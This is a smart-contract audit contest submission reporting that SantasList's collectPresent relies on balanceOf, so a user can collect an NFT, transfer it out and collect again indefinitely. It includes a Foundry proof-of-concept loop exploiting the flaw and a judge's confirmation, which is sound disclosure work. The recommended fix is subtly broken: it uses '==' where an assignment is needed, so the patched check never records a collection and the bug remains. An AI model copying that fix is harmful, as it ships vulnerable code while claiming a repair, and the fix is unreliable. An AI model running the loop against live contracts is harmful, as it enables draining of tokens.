Submission Details
Severity:
user can transfer and then collect more nft
Summary
In collectPresent function, it used balanceOf(msg.sender) to calculate current user's balance, however user can collect one and transfer out one so that he can collect infintely nft.
Vulnerability Details
Write the POC below, user can call collectPresent in a loop for any times to collect more nfts.
function testCanCollectPresentAlreadyCollected() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.NICE);
santasList.checkTwice(user, SantasList.Status.NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
address receiver = makeAddr('somebody');
vm.startPrank(user);
for (uint i=0;i <=100;i++){
santasList.collectPresent();
santasList.transferFrom(user, receiver, i);
}
}
Impact
All nfts can be minted to one user.
Tools Used
Manual Review
Recommendations
Add a record in contract instead of using balanceOf to check if it's second collect.
mapping(address person => bool collected) private s_personCollected;
function collectPresent() external {
if (block.timestamp < CHRISTMAS_2023_BLOCK_TIME) {
revert SantasList__NotChristmasYet();
}
if (s_personCollected[msg.sender] == true) {
revert SantasList__AlreadyCollected();
}
s_personCollected[msg.sender] == true
.....
}
Updates
Lead Judging Commences
inallhonesty over 1 year ago
Submission Judgement Published Assigned finding tags:
Weak Already Collected Check
Relying on balanceOf > 0 in collectPresent() allows the msg.sender to send their present to another address and then collect again.
Rewards breakdown
nSLOC
116This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.